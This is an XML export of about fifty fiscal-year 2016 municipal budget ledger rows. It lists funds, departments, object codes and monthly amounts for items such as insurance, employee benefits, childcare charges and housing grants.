<row _id="20630"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>459</division_id><division_name>FLEET MANAGEMENT</division_name><object>544290.0</object><object_description>OTHER MATERIALS AND SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>14400</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>14400</total></row>
<row _id="20631"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20632"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>10329</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10329</total></row>
<row _id="20633"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1661</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1661</total></row>
<row _id="20634"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>577650.0</object><object_description>MAINTENANCE / GUARDS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>64378</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>64378</total></row>
<row _id="20635"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3893</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3893</total></row>
<row _id="20636"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1922</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1922</total></row>
<row _id="20637"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>932</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>932</total></row>
<row _id="20638"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>4435</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4435</total></row>
<row _id="20639"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>9235</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9235</total></row>
<row _id="20640"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>76000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>76000</total></row>
<row _id="20641"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>402270.0</object><object_description>SPECIAL INSURANCE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-73100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-73100</total></row>
<row _id="20642"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>533040.0</object><object_description>SPECIAL INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1200</total></row>
<row _id="20643"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>533040.0</object><object_description>SPECIAL INSURANCE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3100</total></row>
<row _id="20644"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-24029</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-24029</total></row>
<row _id="20645"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>555350.0</object><object_description>COMM &amp; TRIBUTE PROGRAM</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>25000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>25000</total></row>
<row _id="20646"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409002.0</object><object_description>CHILDCARE-OCTOBER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20647"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409004.0</object><object_description>CHILDCARE-DECEMBER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20648"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409031.0</object><object_description>CAMP SM-WINTER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20649"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409052.0</object><object_description>MIDDLE SPORTS-WINTER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20650"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2562</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2562</total></row>
<row _id="20651"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>402800.0</object><object_description>NAME PLATES / BENCHES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-10293</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-10293</total></row>
<row _id="20652"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>10620</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10620</total></row>
<row _id="20653"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>6262</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6262</total></row>
<row _id="20654"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5391</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5391</total></row>
<row _id="20655"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2455</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2455</total></row>
<row _id="20656"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1235212</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1235212</total></row>
<row _id="20657"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>14775</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>14775</total></row>
<row _id="20658"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5874</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5874</total></row>
<row _id="20659"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>522000.0</object><object_description>UNRECOVERED INSURANCE LOSS</object_description><category_code>860.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20660"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>522040.0</object><object_description>INSURANCE AND BONDS</object_description><category_code>860.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2961700</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2961700</total></row>
<row _id="20661"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>289832</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>289832</total></row>
<row _id="20662"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>533040.0</object><object_description>SPECIAL INSURANCE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20663"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>533040.0</object><object_description>SPECIAL INSURANCE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2800</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2800</total></row>
<row _id="20664"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>SECTION 8 ADMIN</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>-874707</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-874707</total></row>
<row _id="20665"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400883.0</object><object_description>SPC HAP SU05</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>-319830</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-319830</total></row>
<row _id="20666"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400922.0</object><object_description>SPC ADMIN TRA</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>-102952</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-102952</total></row>
<row _id="20667"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400881.0</object><object_description>SPC HAP SU02</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20668"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-13800</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-13800</total></row>
<row _id="20669"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-9917</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-9917</total></row>
<row _id="20670"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-10669</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-10669</total></row>
<row _id="20671"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-14139</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-14139</total></row>
<row _id="20672"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>-28620</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-28620</total></row>
<row _id="20673"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409007.0</object><object_description>CHILDCARE-MARCH</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20674"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409005.0</object><object_description>CHILDCARE-JANUARY</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20675"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409021.0</object><object_description>ENRICHMENT-FALL</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20676"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409022.0</object><object_description>ENRICHMENT-WINTER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20677"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>12460</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12460</total></row>
<row _id="20678"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2596</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2596</total></row>
